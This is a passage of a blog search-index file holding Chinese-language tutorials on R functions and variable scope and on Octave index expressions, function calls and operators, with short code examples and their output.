函數，我們可以將大括號省略，以更簡潔的寫碼來指定函數：\nhypotenuse \u0026lt;- function(x, y) sqrt(x ^ 2 + y ^ 2) 這樣只要一行程式碼即可建立一個 R 函數。\n自訂的函數在建立之後，就可以立即使用：\nhypotenuse(x = 3, y = 4) [1] 5 在有明確指定參數名稱的狀況下，參數的順序可以任意排列：\nhypotenuse(y = 4, x = 3) [1] 5 當呼叫 R 的函數時，若沒有明確指定參數的名稱，R 就會依照輸入參數的位置來判別，所以上面的函數呼叫也可以寫成這樣：\nhypotenuse(3, 4) [1] 5 這裡的第一個參數 3 就會被指定給函數中的 x，而第二個參數 4 就會被指定給 y。\n在建立函數時，也可以指定每個參數的預設值：\nhypotenuse \u0026lt;- function(x = 5, y = 12) { sqrt(x ^ 2 + y ^ 2) } 這樣一來在呼叫函數時，若沒有指定輸入的參數，R 就會使用參數的預設值進行運算：\nhypotenuse() [1] 13 formals 函數可以列出函數的每個參數以及預設值：\nformals(hypotenuse) $x [1] 5 $y [1] 12 formals 函數的傳回值是一個列表變數，若是要給人閱讀的話，可以改用 args 函數：\nargs(hypotenuse) function (x = 5, y = 12) NULL 而 formalArgs 則會傳回簡單的參數名稱：\nformalArgs(hypotenuse) [1] \"x\" \"y\" 至於函數的主體可以使用 body 來取得：\nbody(hypotenuse) { sqrt(x^2 + y^2) } 若要將函數主體的程式碼都轉為字串，可以搭配 deparse 使用：\ndeparse(body(hypotenuse)) [1] \"{\" \" sqrt(x^2 + y^2)\" [3] \"}\" 參數的預設值除了一般的常數值之外，也可以使用各種的 R 運算式，甚至還可以依據其他的正式參數來計算參數值，以下我們自訂一個簡單的標準化函數，他可以將一個數值向量標準化，讓平均數為 0，而標準差為 1：\nnormalize \u0026lt;- function(x, m = mean(x), s = sd(x)) { (x - m) / s } x \u0026lt;- c(1.2, 3.5, 6.1, 4.3) x.normalized \u0026lt;- normalize(x) [1] -1.2672025 -0.1353323 1.1441731 0.2583617 mean(x.normalized) [1] -5.551115e-17 sd(x.normalized) [1] 1 這個自訂的標準化函數有個小問題，如果輸入的數值向量當中含有缺失值，會讓整個結果都變成缺失值：\ny \u0026lt;- c(1.2, 3.5, 6.1, NA) normalize(y) [1] NA NA NA NA 會出現這樣的狀況主要是由於 mean 與 sd 若遇到缺失值，其計算的結果就會是缺失值，進而導致 normalize 的計算結果也都變成缺失值。若要修正這個問題，可以在 mean 與 sd 中加入 na.rm 參數，讓它們在計算平均數、以及標準差時，將缺失值排除：\nnormalize \u0026lt;- function(x, m = mean(x, na.rm = na.rm), s = sd(x, na.rm = na.rm), na.rm = FALSE) { (x - m) / s } normalize(y, na.rm = TRUE) [1] -0.97898042 -0.04079085 1.01977127 NA 這裡我們在 normalize 函數中加入一個 na.rm 這個正式參數，並且讓這個參數直接傳入 mean 與 sd 函數中，所以當我們在呼叫 normalize 函數值，將 na.rm 設定為 TRUE，這個設定就會自動套用至 mean 與 sd 函數中。\n雖然缺失值的問題解決了，但這樣的寫法非常冗長，而且如果遇到還有其它的參數也需要這樣傳遞的話，就更麻煩了，對於這種只用於參數列內部傳遞的參數，R 提供了一個簡單的 ... 寫法，所有使用名稱或位置都無法匹配的參數都會被納入其中，直接傳遞給參數列內部的函數：\nnormalize \u0026lt;- function(x, m = mean(x, ...), s = sd(x, ...), ...) { (x - m) / s } normalize(y) [1] NA NA NA NA normalize(y, na.rm = TRUE) [1] -0.97898042 -0.04079085 1.01977127 NA 這裡 normalize 函數中的 na.rm 參數並沒有在 normalize 函數的正式參數當中（既不是 x 或 m 也不是 s），所以就會被納入 ... 中，而在呼叫 mean(x, ...) 這樣有包含 ... 的函數時，na.rm 就會被傳入，也就是相當於 mean(x, na.rm = TRUE)。\n函數的傳遞與使用 R 的函數也可以像一般的變數一樣，當作參數傳入其他的函數中使用，或是作為函數的傳回值。最簡單的例子就是 do.call 函數，它提供了另外一種函數的呼叫方式，可以讓使用者將參數以列表變數的方式傳入：\ndo.call(hypotenuse, list(x = 3, y = 4)) [1] 5 這樣的效果相當於直接呼叫：\nhypotenuse(x = 3, y = 4) 在將函數當作參數使用時，不一定要先建立具名的函數，假設我們自訂一個函數為 my.plus，將其傳入 do.call 中使用：\nmy.plus \u0026lt;- function(x, y) x + y do.call(my.plus, list(1, 2)) [1] 3 我們可以改用匿名函數的方式，讓程式碼更簡潔：\ndo.call(function(x, y) x + y, list(1, 2)) [1] 3 將函數作為傳回值的狀況比較少見，ecdf 這個計算 empirical cumulative distribution function 的函數是一個比較有可能會遇到的例子：\nx \u0026lt;- rnorm(50) x.ecdf \u0026lt;- ecdf(x) is.function(x.ecdf) [1] TRUE x.ecdf(-1.3) [1] 0.02 變數範圍 變數範圍（variable scope）是指一個變數的存在範圍，亦即變數可以被使用的區域。\nR 在取用變數時，會依循環境空間的繼承性原則，先從目前的環境空間中尋找變數，若目前的環境空間中沒有要找的變數，就會循著母環境空間持續往上尋找，直到找到符合的變數為止。\n依據 R 環境空間的繼承性原則，在函數中我們可以直接取用外部全域的變數：\nx.out \u0026lt;- 8 my.func \u0026lt;- function() { message(\u0026#34;x.out is \u0026#34;, x.out) } my.func() x.out is 8 當我們在 my.func 函數中取用 x.out 這個變數時，R 會先在 my.func 的環境空間中尋找 x.out 這個變數，當發現這個變數不存在時，就會繼續從它的母環境空間中尋找，也就是全域環境空間（global environment），最後取得在全域環境空間中所定義的 x.out。\n全域環境空間中所定義的變數，在任何地方都可以被使用，所以定義在全域環境空間中的變數也稱為全域變數（global variables），而定義在一般函數中的變數，則稱為區域變數（local variables）。\n若在一個函數中建立一個變數後，可以在函數的內部使用該變數，但在此函數的外部就無法使用：\nmy.func \u0026lt;- function() { x.in.func \u0026lt;- 12 message(\u0026#34;x.in.func is \u0026#34;, x.in.func) } my.func() x.in.func is 12 如果在函數外部就無法存取 x.in.func 這個函數內部的變數：\nmessage(\u0026#34;x.in.func is \u0026#34;, x.in.func) Error in message(\"x.in.func is \", x.in.func) : 找不到物件 'x.in.func' 如果在一個函數中又建立了一個子函數，則在子函數中可以直接取用上層函數中的變數：\nf \u0026lt;- function(x) { y \u0026lt;- 1 g \u0026lt;- function(x) { (x + y) / 2 } g(x) } f(5) [1] 3 若我們將 g 函數移到 f 函數之外，這樣的話 g 函數就不是 f 的子函數，也就無法取得 f 函數內部的變數：\nf \u0026lt;- function(x) { y \u0026lt;- 1 g(x) } g \u0026lt;- function(x) { (x + y) / 2 } f(5) Error in g(x) : 找不到物件 'y' 環境空間的繼承性原則可以讓 R 的程式開發者更容易撰寫程式，不過也時常會帶來一些困擾，讓程式碼變得難以維護，假設有一個 h 函數定義如下：\nh \u0026lt;- function(x) { x + y } 乍看之下，這個 h 函數中的 y 變數沒有定義，應該無法執行，若在一個乾淨的 R 執行環境之下，會產生找不到 y 變數的錯誤：\nh(3) Error in h(3) : 找不到物件 'y' 但是如果我們在全域環境空間中建立一個 y 變數，狀況就會改觀了：\ny \u0026lt;- 1:3 h(3) [1] 4 5 6 原本應該會產生錯誤的函數，現在變成可以正常執行了，這是因為 R 在執行 h 函數時，當發現 h 函數中無法找到 y 這個變數的定義時，就會循著 h 函數上層的環境空間來尋找，由於我們在全域環境空間中建立了一個 y 變數，所以 R 就會直接取用這個 y 全域變數。\n當開發大型程式時，要小心使用全域變數，否則很容易讓程式產生很多 bugs，而且也非常難維護。我們來看下面這個例子：\nh2 \u0026lt;- function(x) { if (runif(1) \u0026gt; 0.5) y \u0026lt;- 2 x * y } 在這個例子，y 有一半的機率會在 h2 被定義，如果 h2 函數中有定義 y，它就會使用 h2 自己定義的 y，若 h2 函數中沒有定義自己的 y 變數，就會使用全域的 y 變數，相信大家都可以看得出來，這樣的程式碼架構是很容易出現 bugs 的。\n通常在撰寫 R 程式時，應該盡可能將所有需要使用到的變數都透過參數來傳遞，不要使用全域變數的方式來取得，以降低程式出錯的機率與維護的成本。\n","permalink":"https://blog.gtwang.org/r/r-environments-and-functions/","summary":"\u003cp\u003e這裡我們將詳細介紹 R 函數與 R 環境空間的使用方式。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"環境空間\"\u003e環境空間\u003c/h2\u003e\n\u003cp\u003e在 R 中所有的變數都是儲存在特定的環境空間（environments）中，而環境空間本身其實也是一種變數，可以當成一般變數使用（例如指定新的值、或是當成參數傳遞至函數中），它的性質跟列表（list）比較相近，甚至可以直接將列表變數轉換為環境空間變數，反之亦可。\u003c/p\u003e","title":"R 環境空間與函數"},{"content":"在 Octave 中算式（Expressions）是一般程式最基本的組成要件，一個算式會計算出一個值，這個值可以直接輸出、傳給判斷式做判斷、儲存在變數中、傳給函數做為輸入參數或是使用指定運算子將其指定給其他的變數。\n大部分的判斷式都包含了多個算式，而一個算式也可以直接做為判斷式。Octave 的算式與其他語言類似，包含變數、陣列、常數、函數的呼叫與以上的組合。\n索引算式（Index Expressions） 索引算式（Index Expressions）可以用來存取矩陣或向量中指定的元素。索引算式可以式純量、向量、範圍或是一個冒號 :（用來表示所有的行或列）。\n向量是使用單一個索引算式；矩陣則可以使用單一個或兩個索引，當矩陣使用單一個索引時，則會將矩陣中的元素以行（column）優先的順序取其索，例如：\nA = [1, 2, 3; 4, 5, 6; 7, 8, 9]; A(2) 輸出為\nans = 4 使用索引算式的輸出會依照索引的形式而有不同，例如上面這個範例是使用純量作為索引，則輸出亦為純量。若使用列向量的索引：\nA(1:2) 則輸出為列向量\nans = 1 4 而使用行向量的索引：\nA([1; 2]) 則輸出為行向量\nans = 1 4 若使用單一個冒號作為索引，則會傳回所有元素所組成的行向量，例如：\nA(:) 輸出為\nans = 1 4 7 2 5 8 3 6 9 下面這三個寫法都是將矩陣 A 的第一列取出：\nA(1, [1, 2, 3]) A(1, 1:3) A(1, :) 三個寫法的輸出皆為\nans = 1 2 3 一般來說，一個 n 維的陣列可以使用 m 個索引來存取，若 n 等於 m 時，則每一個索引會對應一個維度，這些索引（純量、向量或範圍）會以笛卡兒乘積的方式構成最後的結果；若 n 大於 m，則最後 n-m+1 維的資料會合併成一個維度，例如：\nB = rand(3,2,2) 產生一個隨機的多為陣列 B，輸出為\nB = ans(:,:,1) = 0.684732 0.407394 0.165819 0.554558 0.203612 0.016332 ans(:,:,2) = 0.96476 0.83252 0.12081 0.22859 0.22828 0.51808 B 的維度是三，若只使用兩個維度的索引，則最後兩個維度的資料會合併成一維：\nB(1,:) 輸出為\nans = 0.68473 0.40739 0.96476 0.83252 若使用都是 1 的矩陣做為純量的索引矩陣，可以建立與索引矩陣相同大小的矩陣，而其中的值皆等於此純量值，例如：\na = 5; a(ones(2, 3)) 輸出為\nans = 5 5 5 5 5 5 也可以寫成這樣\n5(ones(2, 3)) 除了矩陣之外，亦可建立向量：\n6(ones(1, 5)) 輸出為\nans = 6 6 6 6 6 ones(1, n) 會產生一個元素都是 1 的列向量，但其會以範圍（range）的形式傳回，因此其效率會比使用其他形式的 ones() 來的高。\n當 r 是一個列向量時，下面兩個寫法所產生的結果是相同的：\nr(ones (1, n), :) r(ones (n, 1), :) 但是第一種寫法的執行效率會比較快，尤其是在 r 與 n 非常大的時候，原因在於第一種寫法會將索引向量保持在一個壓縮的狀態，這樣可以讓 Octave 選擇以更有效綠的演算法來處理。\n對一般使用者而言，若不想考慮這種細微的差異，最好的方式是直接使用 repmat() 函數來處理這類的問題。\n若要建立每個元素都有不同值的矩陣，可以使用迴圈配合索引：\nfor i = 1:10 A(i) = sqrt (i); endfor 這樣會建立一個矩陣 A，而第 i 個元素的值為 sqrt(i)，然而這樣使用迴圈的寫法不是很有效率，以這個例子而言可以改成下面這樣的寫法：\nA = sqrt (1:10); 這樣可以避免使用迴圈，若無法避免使用迴圈時，或是要將大量的資料組成一個矩陣時，事先設定好矩陣的大小，而後再使用索引來指定矩陣中的值，可以增加執行的效率，例如：\n[nr, nc] = size (a); x = zeros (nr, n * nc); for i = 1:n x(:, (i-1)*nc+1:i*nc) = a; endfor 執行起來會比下面這個寫法快\nx = a; for i = 1:n-1 x = [x, a]; endfor 這兩種寫法的差異在矩陣的較大時才會比較明顯，第一種寫法可以避免讓 Octave 重複改變矩陣的大小，所以執行上的效率較高。\n要指定矩陣或多維的陣列的元素，可以使用多維的索引，也就是一般的下標（subscripts），例如使用一般下標的方式指定三乘三的矩陣：\n$$ \\begin{bmatrix} x_{11} \u0026 x_{12} \u0026 x_{13} \\\\ x_{21} \u0026 x_{22} \u0026 x_{23} \\\\ x_{31} \u0026 x_{32} \u0026 x_{33} \\end{bmatrix} $$但也可以利用一維的索引來指定其中的元素，而其排列的順序是以行為優先：\n$$ \\begin{bmatrix} x_1 \u0026 x_4 \u0026 x_7 \\\\ x_2 \u0026 x_5 \u0026 x_8 \\\\ x_3 \u0026 x_6 \u0026 x_9 \\end{bmatrix} $$下標與一維索引可以使用下面的函數做轉換。\nind = sub2ind (dims, i, j) ind = sub2ind (dims, s1, s2, ..., sN) sub2ind(dims, i, j) 函數會將下標（subscripts）轉換為一維的索引（index），例如下面這個例子會將三乘三矩陣的二維索引 (2, 3) 轉換成一維的索引：\nlinear_index = sub2ind ([3, 3], 2, 3) 輸出為\nlinear_index = 8 [s1, s2, ..., sN] = ind2sub (dims, ind) ind2sub(dims, ind) 函數會將一維的索引（index）轉換為下標（subscripts），例如下面這個例子會將三乘三矩陣的一維索引 (2, 3) 轉換成二維的索引：\n[r, c] = ind2sub ([3, 3], 8) 輸出為\nr = 2 c = 3 呼叫函數（Calling Functions） 函數（function）是一個特定運算的名稱，由於其永擁有名稱，因此可以在程式中的任何地方呼叫，例如 sqrt() 是用於計算平方根的函數。\nOctave 中有一系列的內建函數（built-in function），這些內建函數可以用於任何的 Octave 程式，例如 sqrt() 就是一個內建函數。另外，使用者也可以自行定義函數，關於自訂函數，請參考函數與指令稿（Functions and Scripts）。\n要呼叫函數可以使用函數呼叫算，其包含函數的名稱與一連串使用括號包起來的的參數，若有一個以上的參數，則以逗號分隔，若沒有任何參數，可以省略小括號，但建議將小括號保留，這樣可以讓程式碼更容易閱讀，以下是一些呼叫函數的範例：\nsqrt (x^2 + y^2) # One argument ones (n, m) # Two arguments rand () # No arguments 每一個函數都會接受特定個數的參數，例如 sqrt() 函數只接受一個參數，並計算此參數的平方根：\nsqrt(argument) 有一些內建函數可以依據其不同的使用方式，接受不同個數的參數，而其功能也會因為輸入不同的參數而有所不同。\n函數呼叫算式與一般其他的算式一樣都有傳回值，此傳回值是由此函數根據輸入的參數所運算的結果，例如 sqrt(argument) 的傳回值是 argument 的平方根。而函數有時也會有一些其他的邊際效應，例如指定一些變數的值或進行資料的輸入或輸出等。\nOctave 的函數與一般程式語言的函數有一個很大的不同，Octave 的函數可以有多個傳回值，例如：\n[u, s, v] = svd (a) 會計算矩陣 a 的 SVD 分解（singular value decomposition），並將計算結果儲存至 u、 s 與 v。在多重傳回值算式中，等號左邊事實上是一個逗點分隔序列，其可以是逗點分隔的變數名稱或索引算式，請參考索引算式與指定算式。\n傳值呼叫（Call by Value） Octave 中所有的函數都是使用傳值呼叫（call by value），也就是 Octave 會將函數的參數在傳入前先複製一份，在函數中所使用的值是經過複製的副本，所以改變函數中的值並不會對原來函數外的值造成影響，例如：\nfunction f (x, n) while (n-- \u0026gt; 0) disp (x); endwhile endfunction 這個函數會顯示 x 的值 n 次，在函數中的 n 是由函數參數中的 n 的副本，因此在函數中改變 n 的值，對於函數外的 n 並無影響。傳值呼叫的優點是使用者可以傳入一個常數至函數中，不用擔心此函數是否會改變傳入的值。\n目前 Octave 不支援傳址呼叫（call by reference）。\n函數在呼叫時可以使用變數名稱，但函數本身會將每個參數視為一個算式，只會將其運算值傳入函數中，例如：\nfoo = \u0026#34;bar\u0026#34;; fcn (foo) 函數 fcn(foo) 的參數會被視為一個字串 \u0026quot;bar\u0026quot;，而不是一個名稱為 foo 的變數。\n雖然 Octave 的函數都是使用傳值呼叫，但事實上 Octave 會避免不必要的副本存在，也就是說當傳入一個值進入函數中時，若在函數中沒有改變這個值，則 Octave 會讓函數內的變數與函數外的變數使用同一份資料，避免浪費記憶體空間，例如：\nx = rand (1000); f (x); 這會將一個 1000 乘 1000 的矩陣傳入函數 f() 中，若是在 f() 函數中沒有更動 x 的值，則 Octave 就不會將 x 複製一份一樣的 x 在 f() 中，而會讓兩者共用一份資料，這樣可以節省記憶體空間，增加執行效率。\n遞迴（Recursion） 在 Octave 中可以使用遞迴（Recursion）的方式來撰寫函數，例如使用遞迴的方式計算階乘（factorial）：\nfunction retval = fact (n) if (n \u0026gt; 0) retval = n * fact (n-1); else retval = 1; endif endfunction 這個函數是一個遞迴函數，它會自己呼叫自己，每一次呼叫自己時，會將傳入的參數 n 減去 1，直到 n 等於 0 時傳回 1。這裡定義的函數是為了示範遞迴函數的使用方式，若是要計算階乘可以使用較有效率的 prod(1:n) 或 gamma(n+1)。\nval = max_recursion_depth () old_val = max_recursion_depth (new_val) max_recursion_depth() 函數可以查詢或設定函數遞迴呼叫的最大次數，若是遞迴呼叫的次數大於此數值，則會產生錯誤訊息，並回到最上一層。\n在 Octave 中有一些函數不能使用遞迴的方式，例如 lsode() 函數是以 Fortran 語言所寫成的，其無法以遞迴呼叫的方式使用，否則會產生錯誤。\n算數運算子（Arithmetic Operators） Octave 中的算術運算子（Arithmetic Operators）可以用於純量或矩陣：\nx + y：加法，若 x 與 y 皆為矩陣，則兩個矩陣必須有相同的大小，若一個是純量另一個是矩陣，則會將矩陣中每一個元素與純量相加。 x .+ y：元素加法，此運算子與 +. 相同。 x - y：減法，若 x 與 y 皆為矩陣，則兩個矩陣必須有相同的大小，若一個是純量另一個是矩陣，則會將矩陣中每一個元素與純量相減。 x .- y：元素減法，此運算子與 -. 相同。 x * y：乘法，若 x 與 y 皆為矩陣，則 x 的行數必須等於 y 的列數。 x .* y：元素乘法，若 x 與 y 皆為矩陣，則兩個矩陣必須有相同的大小。 x / y：右除法，其作用相當於 (inverse (y') * x')'，但其不需要計算 y'。若係數矩陣不是方陣或為 singular，則會計算 minimum norm solution。 x ./y：元素右除法。 x y：左除法，其作用相當於 inverse (x) * y，但不需要計算 inverse(x)。若係數矩陣不是方陣或為 singular，則會計算 minimum norm solution。 x . y：元素左除法，y 中的每個元素會除以 x 中所對應的元素。 x ^ y 與 x ** y：指數，若 x 與 y 皆為純量，則傳回 x 的 y 次方；若 x 為純量，y 為方陣，則會使用 eigenvalue expansion 計算結果；若 x 為方陣，y 為一個整數，則會傳回 x 連續 y 次乘積的結果（若 y 不是整數，則會使用 eigenvalue expansion）；若 x 與 y 皆為矩陣，則會產生錯誤。 x .^ y 與 x .** y：元素指數，若 x 與 y 皆為矩陣，則兩個矩陣必須有相同的大小。 -x：負數。 +x：正數，這個運算子基本上沒作用。 x'：共軛轉置（conjugate transpose），對於實數而言，這個運算子等同於轉置（transpose）運算子，而對於複數，此運算子等同於 conj (x.')。 x.'：轉置（transpose）。 由於 Octave 的元素運算子是以小數點開頭，因此在使用時有可能會發生一些模稜兩可的情況，例如：\n1./m 因為這個小數點可以被解釋為常數 1 的小數點或是元素右除法，為了避免混淆，Octave 碰到這種情況會把他解釋為\n(1) ./ m 而不是\n(1.) / m 比較運算子（Comparison Operators） 比較運算子（Comparison Operators）可以比較兩個數值之間的關係，所有 Octave 的比較運算子在結果是 true 時會傳回 1，而結果是 false 時則傳回 0，若傳入值為矩陣，則會對矩陣中的每個元素進行比較，例如：\n[1, 2; 3, 4] == [1, 3; 2, 4] 輸出為\nans = 1 0 0 1 若有一個運算元是矩陣而另外一個是純量，則會將此純量依序與矩陣中的元素進行比較，其傳回值為一個與運算元矩陣相同大小的矩陣。以下是一些 Octave 中的比較運算子：\nx \u0026lt; y：判斷 x 是否小於 y。 x \u0026lt;= y：判斷 x 是否小於或等於 y。 x == y：判斷 x 是否等於 y。 x \u0026gt;= y：判斷 x 是否大於或等於 y。 x \u0026gt; y：判斷 x 是否大於 y。 x != y 與 x ~= y：判斷 x 是否不等於 y。 這些運算子是用於數值間的比較，無法用於字串，字串之間的比較可以使用 strcmp() 函數，請參考字串資料。\nisequal (x1, x2, ...) isequal(x1, x2, ...) 函數會判斷 x1, x2, ... 是否相等。\nisequalwithequalnans (x1, x2, ...) isequalwithequalnans(x1, x2, ...) 函數會在 NaN == NaN 的判斷條件下，判斷 x1, x2, ... 是否相等。\n布林算式（Boolean Expressions） 元素對元素布林算式（Element-by-element Boolean Operators） 元素對元素布林算式（element-by-element boolean operators）是指使用元素對元素布林運算子（element-by-element boolean operators）與小括號將比較算式連接起來的算式，布林運算子包含：and（\u0026amp;）、or（|） 與 not（!），而小括號是用於控制計算的優先順序。布林算式的運算結果是由其中的比較算式的結果再經由布林運算子運算而得到，若結果為 true 則傳回 1，否則傳回 0。\n在任何比較算式可以使用的地方也都可以使用元素對元素布林算式，例如 if 或 while 判斷式中都可以使用元素對元素布林算式。\n在 if 與 while 等判斷式中使用矩陣時，若矩陣中所有的元素皆不為 ``，則傳回 true，否則傳回 false。\n若將元素對元素布林算式用於數值運算或儲存至變數中，當其運算結果為 true 時，其傳回值為 1，而結果為 false 時，其傳回值為 0。例如：\na = 1; b = 2; c = (a \u0026lt; 2) \u0026amp; (b \u0026gt; 1) 輸出為\nc = 1 以下是 Octave 中的元素對元素布林運算子：\nboolean1 \u0026amp; boolean2：將 boolean1 與 boolean2 中對應的元素做 AND 運算。 boolean1 | boolean2：將 boolean1 與 boolean2 中對應的元素做 OR 運算。 ! boolean：對 boolean 中每個元素做 NOT 運算。 ~ boolean：與 ! boolean 相同。 若輸入的運算元為矩陣為矩陣，則會對每個元素做運算，例如：\n[1, 0; 0, 1] \u0026amp; [1, 0; 2, 3] 輸出為\nans = 1 0 0 1 對於二元的元素對元素布林運算子（即 \u0026amp; 與 |），若兩個運算元（也就是上面的 boolean1 與 boolean2）皆為矩陣，則兩個矩陣的大小必須相同；若一個運算元為純量，而另一個是矩陣，則會以純量對每個矩陣中的元素做運算。\n由二元的元素對元素布林運算子所連接的算式（即上面的 boolean1 與 boolean2）會在計算結果之前先被執行，這在元素對元素布林算式含有邊際效應時會產生差異，例如：\na \u0026amp; b++ 即使 a 的值為 0，b 依然會遞增。\n短路布林運算子（Short-circuit Boolean Operators） Octave 所提供的元素對元素布林運算子配合其自動轉換為數值的特性，對於大部分的情況而言已經足夠了，但有時候使用者會希望當運算結果已經確定時，可以跳過不需要的運算，短路布林運算子（Short-circuit Boolean Operators）就是為了這個而設計的：\nboolean1 \u0026amp;\u0026amp; boolean2：boolean1 算式會以 all (boolean1(:)) 的方式檢查其是否為 true，若為 false 則不執行 boolean2，整個算式會傳回 0；若 boolean1 為 true，則 boolean2 算式會以 all (boolean2(:)) 的方式檢查其是否為 true，若為 true 則整個算式會傳回 1，否則傳回 0。 boolean1 || boolean2：boolean1 算式會以 all (boolean1(:)) 的方式檢查其是否為 true，若為 true 則不執行 boolean2，整個算式會傳回 1；若 boolean1 為 false，則 boolean2 算式會以 all (boolean2(:)) 的方式檢查其是否為 true，若為 true 則整個算式會傳回 1，否則傳回 0。 當 boolean1 為空矩陣時，使用 all (boolean1(:)) 時有一個例外，即使 all ([]) 為 true，但 [] \u0026amp;\u0026amp; true 依然為 false。\n短路布林運算子所連接的算式有可能不會被直行，例如：\na \u0026amp;\u0026amp; b++ 只有當 a 不是 0 時，b 才會遞增。\n善用短路布林運算子的特性可以讓程式碼更簡潔，例如：\nfunction f (a, b, c) if (nargin \u0026gt; 2) if (ischar (c)) ... 可以使用短路布林運算子改寫成：\nfunction f (a, b, c) if (nargin \u0026gt; 2 \u0026amp;\u0026amp; ischar (c)) ... 若是寫成\nfunction f (a, b, c) if (nargin \u0026gt; 2 \u0026amp; ischar (c)) ... 則在 f() 函數只有輸入一個或兩個參數時，會產生錯誤，因為 \u0026amp; 運算子會先執行其兩邊的運算元。\n指定算式（Assignment Expressions） 指定算式（Assignment Expressions）是將一個值指定給一個變數，例如將一個數值 1 指定給變數 z：\nz = 1 執行這個算式之後，變數 z 的原本的值會被 1 取代，這裡的等號（=）稱為指定運算子。指定算式亦可指定字串，例如：\ns = \u0026#34;test string\u0026#34; 大部分的運算子（例如加法運算子）只會根據運算元計算一個傳回值，而不會改變運算元原本的值，若是忽略其傳回值，則運算元等於沒有作用，但指定運算子則不同，即便忽略其傳回值，他還是會改變變數中的值，這個稱為運算子的邊際效應（side effect）。\n指定運算子的左邊可以是變數（請參考變數）、矩陣的元素（請參考索引算式）或傳回值的逗點分隔序列（請參考呼叫函數），這些統稱作 lvalue，意思是這些都可以放在指定運算子的左邊；而在指定運算子的右邊則可以是任何的算式，這個算式所產生的值會被指定為指定運算子左邊的變數、矩陣元素或逗點分隔序列的值。\n在 Octave 中的變數並沒有固定的資料類型，變數的類型是依據其目前所儲存的資料而定，例如：\nfoo = 1 foo = \u0026#34;bar\u0026#34; 第一行算式將變數 foo 指定為數值 1，而第二行將 foo 指定為字串 \u0026quot;bar\u0026quot; 時，之前的數值就會被覆蓋掉。\n若將一個純量指定給矩陣中的一部分元素，則會將每個元素指定為此純量的值，例如：\nA = ones(3); A(:, 2) = 5 這會將矩陣 A 第二行的每一個元素都指定為 5，輸出為：\nA = 1 5 1 1 5 1 1 5 1 若指定為空矩陣，則可以刪除矩陣的行或列（請參考矩陣），例如：\nA = [1, 2; 3, 4; 5, 6]; A (2, :) = [] 這會將矩陣 A 的第二列刪除，輸出為\nA = 1 2 5 6 A = [1, 2, 3, 4, 5; 6, 7, 8, 9, 10; 11, 12, 13, 14, 15]; A(:, 1:2:5) = [] 這會將矩陣 A 的第一、三、五列刪除，輸出為\nA = 2 4 7 9 12 14 指定算式也有傳回值，例如 z = 1 的傳回值就是 1，使用這個特性可以將多個指定算式合併成一個：\nx = y = z = 0 這個算式首先將 z 設為 0，而後將 z = 0 的傳回值（其值為 0）設定給 y，最後將 y = z = 0 的傳回值（其值為0）設定給 x，所以最後 x、y 與 z 皆被設為0。這樣的寫法也可以用於逗點分隔序列，例如：\n[a, b, c] = [u, s, v] = svd (a) 這樣的寫法等同於\n[u, s, v] = svd (a) a = u b = s c = v 使用這樣的寫法，每個逗點分隔序列不需要有相同個數的變數，例如：\n[a, b] = [u, s, v] = svd (a) 這樣的寫法也是可以的，其作用等同於\n[u, s, v] = svd (a) a = u b = s 位於指定運算子左邊的逗點分隔序列的變數個數不可以多於右邊的個數，否則會產生錯誤，例如：\n[a, b, c, d] = [u, s, v] = svd (a); 這樣 Octave 就會產生錯誤：\nerror: element number 4 undefined in return list 在一般程式設計中有一個很常用的算式就是將某個變數加上一個數值，例如將變數 x 加上 2：\nx = x + 2; 這種算式可以使用 += 運算子改寫成更精簡的寫法：\nx += 2; 類似的用法也可以用於其他的運算子上：\n一般用法 簡潔用法 x = x + 2 x += 2 x = x - 2 x -= 2 x = x * 2 x *= 2 x = x / 2 x /= 2 a *= b + 1 是等同於 a = a * (b + 1) 不是 a = a * b + 1。\n指定算式可以用於任何一般算式可以使用的地方，例如 x != (y = 1) 會將 y 指定為 1 並測試 x 是否不等於 1，雖然 Octave 允許這樣的寫法，但這樣寫會造成程式閱讀上的困難，除非是用於只使用一次的程式，否則最好避免以這種不好閱讀的方式撰寫程式。\n遞增運算子（Increment Operators） 遞增運算子（Increment Operators）可以將變數的值增加 1 或減少 1，其使用方式與 C 語言中的遞增運算子相同，以下是 Octave 中的遞增運算子：\n++x：將 x 的值加 1，傳回增加後的數值。 --x：將 x 的值減 1，傳回增加後的數值。 x++：將 x 的值加 1，傳回增加前的數值。 x--：將 x 的值減 1，傳回增加前的數值。 ++x 會先將變數 x 的值加 1 後，再取其新的值傳回，其作用完全等於 x = x + 1。而 x++ 則是將變數 x 的值加 1 後，傳回原本舊的數值；而 --x 與 x-- 的差異也是類似。例如：\nx = 1; y = ++x; 此時的 x 為 2，而 y 為 2，\nx = 1; y = x++; 此時的 x 為 2，而 y 為 1。\n遞增運算子與一個變數所組成的算式與一般的算式相同，可以用於任何其他算式可以使用的地方，例如判斷式之中：\na = b = 1; a++ \u0026gt; b 輸出為\nans = 0 運算子優先權（Operator Precedence） 當算式中包含多個運算子時，運算子優先權（operator precedence）會決定其運算的順序，例如乘法運算子 * 都優先順序就會比加法運算子 + 高，因此 a + b * c 的運算順序是先將 b 乘以 c 再加上 a，也就是 a + (b * c)。\n使用者可以使用小括號更改預設的運算子優先權，此優先權亦可視為當使用者沒有使用括號時，預設的括號規則。當在使用一些不常見的運算子組合時，縱使依照預設的運算子優先權可以不需要括號，但一般還是建議加入小括號，因為不是每個閱讀程式的人都記得每個運算子的優先順序，有明確的括號可以避免不必要的錯誤發生。\n一般當兩個運算子有相同的優先權時，在左邊的運算子會先執行。指定運算子（assignment operator）與指數運算子（exponentiation operator）與一般運算子不同，這兩種運算子會由最右邊的運算子開始執行，例如 a - b + c 其運算順序為 (a - b) + c，而 a = b = c 的運算順序則為 a = (b = c)。\n運算子的優先權對於前置的一元運算子（prefix unary operators）是很重要的，例如：-x^2 的執行順序為 -(x^2)，這是因為負號 - 的優先順序低於指數運算子 ^。\n以下是 Octave 中各種運算子的優先順序，依照由低而高的順序排列：\n分隔符號（statement separators）：\u0026quot;;\u0026quot;、 \u0026quot;,\u0026quot;。 指定運算子（assignment）：\u0026quot;=\u0026quot;、 \u0026quot;+=\u0026quot;、 \u0026quot;-=\u0026quot;、 \u0026quot;*=\u0026quot;、 